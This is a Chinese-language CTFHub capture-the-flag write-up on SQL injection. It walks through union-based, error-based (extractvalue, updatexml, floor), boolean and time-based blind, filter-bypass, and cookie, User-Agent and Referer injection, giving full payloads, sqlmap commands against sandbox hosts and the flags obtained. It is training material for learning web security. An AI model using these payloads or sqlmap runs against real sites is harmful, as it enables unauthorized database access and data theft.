CTFHUB-SQL注入
**
一、SQl注入的基础
1.介绍SQL注入
SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。
下面以PHP语句为例。
$query = "SELECT * FROM user WHERE id = $_GET['id']";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
2.SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。
3.与MYSQL注入相关的知识点
在MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库名的库名。
TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA
,表名为:TABLE_NAME
,字段名为:COLUMN_NAME
.
1.MySQL查询语句
在不知道任何条件时,语句如下所示。
select 查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
2.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
3.需要记住的几个函数
·database()
当前网站使用的数据库
·version()
当前MySQL的版本
·user()
当前MySQL的用户
4.注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/
。
5.内联注释
内联注释的形式:
/*!code*/
内联注释可以用于整个sql语句中,用来执行SQL语句
-1 /*!union*/ /*!select*/ 1,2,3
二、实战化
1.整数型注入
根据提示说,试试1,输入1试试
2.再输入框中输入2-1,查询的结果是1,说明存在整数型注入
3.尝试1 and 1=1和1 and 1=2,and没被过滤
1 and 1=1
1 and 1=2
4.尝试1 or 1=1
和1 or 1=2,or
没被过滤
1 or 1=1
1 or 1=2
5.使用order by
判断列名
1 order by 1,2
1 order by 1,2,3
经过测试,可以发现有两列
6.使用union select
判断注入点
-1 union slect 1,2
7.知道注入点在2的位置,爆库
-1 union select 1,database()
8.爆库成功,知道库名为:sqli
,爆表
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
9.爆表成功,知道库名为:news
和flag
,使用flag
这个表,爆字段名
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
10.爆表字段名,知道字段名为flag
,使用flag
这个字段名,爆字段内容
-1 union select 1,(select flag from sqli.flag limit 0,1)
10.注入成功,得到flag
ctfhub{ba713f7270fc403bf7983f6d}
2.字符型注入
看到sql语句为
select * from news where id='1'
那我们尝试一下,1’判断其字符注入
使用#将后面的单引号注释掉
1'#
判断and是否被过滤
1' and 1=1#
1' and 1=2 #
判断or是否被过滤
1' or 1=1#
1' or 1=2#
判断列数
1' order by 1,2,3#
报错,减少一个列
1' order by 1,2#
判断注入点
-1' union select 1,2#
爆库
-1' union select 1,database()#
爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
爆字段内容
-1' union select 1,(select flag from flag)#
得到flag
ctfhub{2344541100a643d991af8fbb}
3.报错注入
1'
1'#
判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。
三种方法extractvalue() updatexml() floor()
(1)extractvalue报错注入:0x7e就是~用来区分数据
里面用select语句,不能用union select
concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
extractvalue报错注入语句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
爆库
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
爆库成功,库名为sqli
,爆表
limit 0,1
爆破第一个表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
limit 1,1
爆破第一个表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))
爆表成功,sqli
库中有两张表,分别是news
,flag
,接下来爆字段名
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
得到字段名为flag
,接下来爆字段内容
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
得到一半flag
ctfhub{7ad3384c969bf4135fa1dd91
只显示32位,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
mid函数
SQL MID()语法
select mid(column_name,start[,length]) from table_name
http://challenge-7433e08691835328.sandbox.ctfhub.com:10800/?id=2 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
ctfhub{848f2b393a991fa420d9457e}
(2)updatexml报错注入
爆库
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
爆表
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)
因为报错注入只显示一条记录,所以需要使用limit语句。构造的语句如下所示:
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)
得到表名为:news和flag
,接下来爆字段名
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='news'limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e),1)
得到flag
表中,有一个字段名为flag
的字段,爆字段内容
1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)
使用updatexml()
函数一样可以得到flag
(3)floor报错注入
一、概述
原理:利用
select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x
导致数据库报错,通过concat函数
连接注入语句与floor(rand(0)*2)
函数,实现将注入结果与报错信息回显的注入方式。
二、函数理解
打开MYSQL终端,创建数据库
create database test1;
建表,设置两个字段
use test1;
create table cze(id int unsigned not null primary key auto_increment,
name varchar(15) not null);
插入数据
insert into cze(id,name) value(1,'chenzishuo');
insert into cze(id,name) value(2,'zhangsan');
insert into cze(id,name) value(3,'lisi');
insert into cze(id,name) value(4,'wangwu');
·rand()函数
rand()
可以产生一个在0和1之间的随机数
select rand();
很明显,直接使用rand函数
每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。
·floor(rand(0)*2)
函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1
的随机数,但在后面扩大2倍就返回0~2
之间的随机数。
配合上floor函数
就可以产生确定的两个数,即0和1
并且结合固定的随机种子0,它每次产生的随机数列都是相同的值。
结合上述的函数,每次产生的随机数列都是0 1 1 0
·group by 函数
group by
函数,作用就是分类汇总。
重命名id为a,name为x
select id a,name x from cze;
使用group by函数
进行分组,并且按照x(name)进行排序。
select id a,name x from cze group by x;
·count(*)函数
count(*)函数
作用为统计结果的记录数。
select name x,count(*) from cze group by id;
因为这里的x就是name的数量,只有一个count(*)
都为1了。
·综合使用产生报错
select count(*),floor(rand(0)*2) x from cze group by x;
根据前面的函数,这句话是统计后面的floor(raand(0)*2) from cze
产生的随机数种类并计算数量,0110,结果是两个,但是最后却报错。
实战注入
1.判断是否存在报错注入
http://challenge-a8c4fcd7a6890e16.sandbox.ctfhub.com:10800/?id=1 union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x
2.很明显存在报错注入,爆库
1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
3.得到库名为sqli,爆表
1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x
得到第一个表:news,继续爆第二个表
1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 1,1)) x from information_schema.schemata group by x
4.得到第二个表名为flag的表,爆字段名
http://challenge-a8c4fcd7a6890e16.sandbox.ctfhub.com:10800/?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x
5.得到字段名为flag,爆字段内容
http://challenge-a8c4fcd7a6890e16.sandbox.ctfhub.com:10800/?id=1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x
得到flag
ctfhub{cc0250d9abf7bcf88534984b}
4.盲注
盲注其实是SQL注入的一种,之所以成为盲注是因为他不会根据你SQL注入的攻击语句返回你想要知道的错误信息。
(1)布尔盲注
布尔盲注只会回显True和False两种情况。
length()
返回字符串的长度
substr()
截取字符串
ascii()
返回字符串的ASCII码
·获取数据库的长度
and (select length(database()))>=长度 //可以通过大于等于来进行猜测数据库的长度
·逐字猜解数据库名
and (select ascii(substr(database(),位数,1)))=ASCII码 //位数的变化即通过ASCII码以及猜解的数据长度求出数据库的库名
·猜解表名数量
and (select count(table_name) from information_schema.tables where table_schema=database())=数量
·猜解某个表的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度
//同理n从0来表示变化的表来求该库下的对应的表的长度
·逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
·猜解列名数量
and (select count(*) from information_schema.columns where table_schema=database() and table_name = 表名)=数量
#information_schema.columns 专门用来存储所有的列
·猜解某个列长度
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
·逐位猜解列名
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
·判断数据的数量
and (select count(列名) from 表名)=数量
·猜解某条数据的长度
and (select length(列名) from 表名 limit n,1)=长度
·逐位猜解数据
and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码
绕过技巧
(1)substr函数绕过
left(str,从左边开始截取的位置)
right(str,从右边开始截取的位置)
substring(str,从左边开始截取的位置)
mid(str,index,key)截取str从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
(2)等于号(=)绕过
1.用in()
2.用like
(3)ASCII()绕过
hex() bin() ord()
SQL-labs-----------8
1.使用当引号(’)判断,发现返回的结果由正确的回显变成错误的
访问id=1' and 1=1%23
,id=1' and 1=2%23
,发现返回的结果分别是有回显和没有回显。就算是改变id的值,本题中只有两种回显,一个正确和一个错误,而没有返回数据库中的数据,所以此处不可使用union
注入。此处尝试利用Boolean注入,Boolean注入是指构建SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此获取数据库中的数据。
2.判断数据库的长度
1' and length(database())>=1--+
有单引号,所以需要注释符来注释。1的位置上可以是任意数字,如' and length(database())>=8--+
和' and length(database())>=9--+
,我们可以构造这样的语句,然后观察页面的返回结果。
然后可以发现当数值为8时,返回的结果是正确的,当数值为9时,返回的结果是错误的,整个语句的意思是,数据库库名的长度大于等于8,回显为真,数据库库名的长度大于等于9,回显为假,由此判断出数据库的长度为8.
3.判断数据库的名称
数据库库名的范围一般在a~z
、0~9
之内,可能还有一些特殊的字符。逐字符判断的SQL语句为:
' and substr(database(),1,1)='a'--+
limit和substr的区别,limit是从0开始排序,而substr是从1开始排序。
原理就是这样依次往后的测试
(2)ASCII码判读数据库的名称
在MySQL中ASCII转换的函数为ord,则逐字符判断的SQL语句为
' and ord(substr(database(),1,1))=115--+
4.知道库名,判断表名
查询表名,字段名的语句也应该放在database()
的位置,经过前面的测试,我们知道数据库的名称为:security
爆表
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+
以此类推,就可以查询出所有的表名与字段名。
方法二:直接上手SQlmap
1.爆库
sqlmap -u "http://challenge-7178e886e9f36bb5.sandbox.ctfhub.com:10800/?id=1" --dbs
2.爆表,因为前面三个是系统库,直接使用sqli这个数据库
sqlmap -u "http://challenge-7178e886e9f36bb5.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
3.因为我们最后得到的是flag,所以选择flag这个库,接下来直接爆字段内容
sqlmap -u "http://challenge-7178e886e9f36bb5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump
得到flag
ctfhub{94d535de0272d3dd1d398bb3}
(2)时间盲注
时间盲注与Boolean注入的不同之处在于,时间注入是利用sleep()
或benchmark()
等函数让MYSQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)
结合使用,此if语句含义是:如果expr1是TRUE,则if()的返回值为expr2;否则返回值则为expr3。所以判断数据库库名长度的语句为:
if (length(database())>1,sleep(5),1)
上述语句的意思是,如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。
就以sql-labs第九关为例
http://192.168.1.30:83/sqli-labs-master/Less-9/?id=1
如下图所示,而查询1的结果,大约只有几十毫秒,根据BurpSuite中页面的时间,可以判断条件是否正确
?id=1'+and+if(length(database())>7,sleep(5),1)--+
如下图所示,页面响应的时间是7042毫秒,也就是7.042秒,表明页面成功执行了sleep(5),所以长度是大于7的。
我们尝试将判断数据库库名长度语句中的长度改为8。
?id=1'+and+if(length(database())>=8,sleep(5),1)--+
回显的时间明显延长,说明数据库的长度大于等于8
改成9试试,时间明显缩短,更加确切的说明数据库的长度为8.
得出数据库的长度后,我们开始查询数据库名的第一位字母。查询语句跟Boolean盲注的类似,使用substr函数,这是的语句应该改为:
?id=1'+and+if(substr(database(),1,1)='s',sleep(5),1)--+
可以看出,程序延迟了7.271秒才返回,说明数据库库名的第一个字母是s,以此类推即可得出完整的数据库名、表名、字段名和具体的数据。
尝试一波sqlmap
1.爆破数据库
sqlmap -u "http://challenge-317cd0f12af09335.sandbox.ctfhub.com:10800/?id=1" --dbs
2.使用sqli数据库,进行爆表
sqlmap -u "http://challenge-317cd0f12af09335.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
3.使用flag表,进行爆字段及内容
sqlmap -u "http://challenge-317cd0f12af09335.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump
4.最终得到flag
ctfhub{ad6cccf5310f3b85e4c6680c}
5.MYSQL结构
直接上手,sqlmap
1.爆库走起
sqlmap -u "http://challenge-a8766344f3dee361.sandbox.ctfhub.com:10800/?id=1" --dbs
2.使用sqli库,爆表开始
sqlmap -u "http://challenge-a8766344f3dee361.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
3.爆字段及内容
sqlmap -u "http://challenge-a8766344f3dee361.sandbox.ctfhub.com:10800/?id=1" -D sqli -T whvvzxswne columns --dump
4.得到flag
ctfhub{4a3f6bdc765b550687f7da22}
6.过滤空格
测试了一下,空格绕过的话,sqlmap直接跑不出来
1.测试or,and等特殊字符是否被过滤
使用/**/
绕过空格
http://challenge-bf09b84c446b8972.sandbox.ctfhub.com:10800/?id=1/**/or/**/1=1
1.判断列名
?id=1/**/order/**/by/**/1,2
2.那直接使用union select
注入,判断其显位点
http://challenge-bf09b84c446b8972.sandbox.ctfhub.com:10800/?id=1/**/and/**/union/**/select/**/1,2,3
进过测试,前端没有回显,只能使用BurpSuit查看后端的回显
?id=-1/**/union/**/select/**/1,2
1.爆库
-1/**/union/**/select/**/1,database()
2.知道数据库库名为:sqli,爆表
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/0,1)
得到第一张表,表名为:news;继续爆第二张表
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/1,1)
得到第二张表,表名为:wcdxjvlrqg
3.爆wcdxjvlrqg
中的字段名
?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='wcdxjvlrqg'/**/limit/**/0,1)
试试看还有没有第二个字段名
4.爆破字段内容
?id=-1/**/union/**/select/**/1,(select/**/ovuqyyofsh/**/from/**/wcdxjvlrqg/**/limit/**/0,1)
得到flag
ctfhub{4871de51d56093a832496d11}
7.cookie注入
根据提示cookie注入,直接抓包上手
方法一:手工注入
1.判断列名
Cookie: id=1 order by 1,2;
2.使用union select判断其注入点
3.知道注入点在2上,爆库开始
Cookie: id=-1 union select 1,database();
4.得到数据库库名为sqli,爆表
Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
5.表名为pmztnmplmx,爆字段名
Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='nlcalxydrn' limit 0,1);
6.知道字段名为bthklxaibf
,爆字段的内容
Cookie: id=-1 union select 1,(select bthklxaibf from pmztnmplmx limit 0,1);
得到flag
ctfhub{5b6afeee77278e163c7b8697}
8.UA注入
直接抓包,UA注入
1.测试or,and等关键字
1 or 1=1
1 or 1=2
1 and 1=1
1 and 1=2
经过测试,可以得出or,and等关键字没有被过滤
2.判断列名
1 order by 1,2,3
报错,重来测试一下
1 order by 1,2
3.判断出有两列,接下来判断注入点
-1 union select 1,2
4.知道注入点为2,爆库
-1 union select 1,database()
5.知道库名为sqli,爆表
-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
6.得到表名uztgkqmitp,爆字段名
-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='uztgkqmitp' limit 0,1)
7.知道数据表名为:zecqtvxwmf,爆字段的内容
-1 union select 1,(select zecqtvxwmf from uztgkqmitp limit 0,1)
得到flag
ctfhub{1ae8b024bd884c06f041afd0}
9.refer注入
开启hackbar
1.判断or,and等的关键字
1 or 1=2
1 and 1=2
2.确认or,and等关键字没被过滤后,使用order by判断列名
1 order by 1,2,3
使用3列,报错
1 order by 1,2
3.成功回显,说明有两个列名,判断注入点
-1 union select 1,2
4.知道注入点为2之后,爆库
-1 union select 1,database()
5.知道库名为sqli,爆表
-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
6.表名为:fomaihemrb,爆字段名
-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='fomaihemrb' limit 0,1)
7.知道字段名为:hwgawblkcf,爆字段的内容
-1 union select 1,(select hwgawblkcf from fomaihemrb limit 0,1)
8.得到flag
ctfhub{cd485a3cc106b9a4de4c6e15}
至此ctfhub的sql注入基础全部完成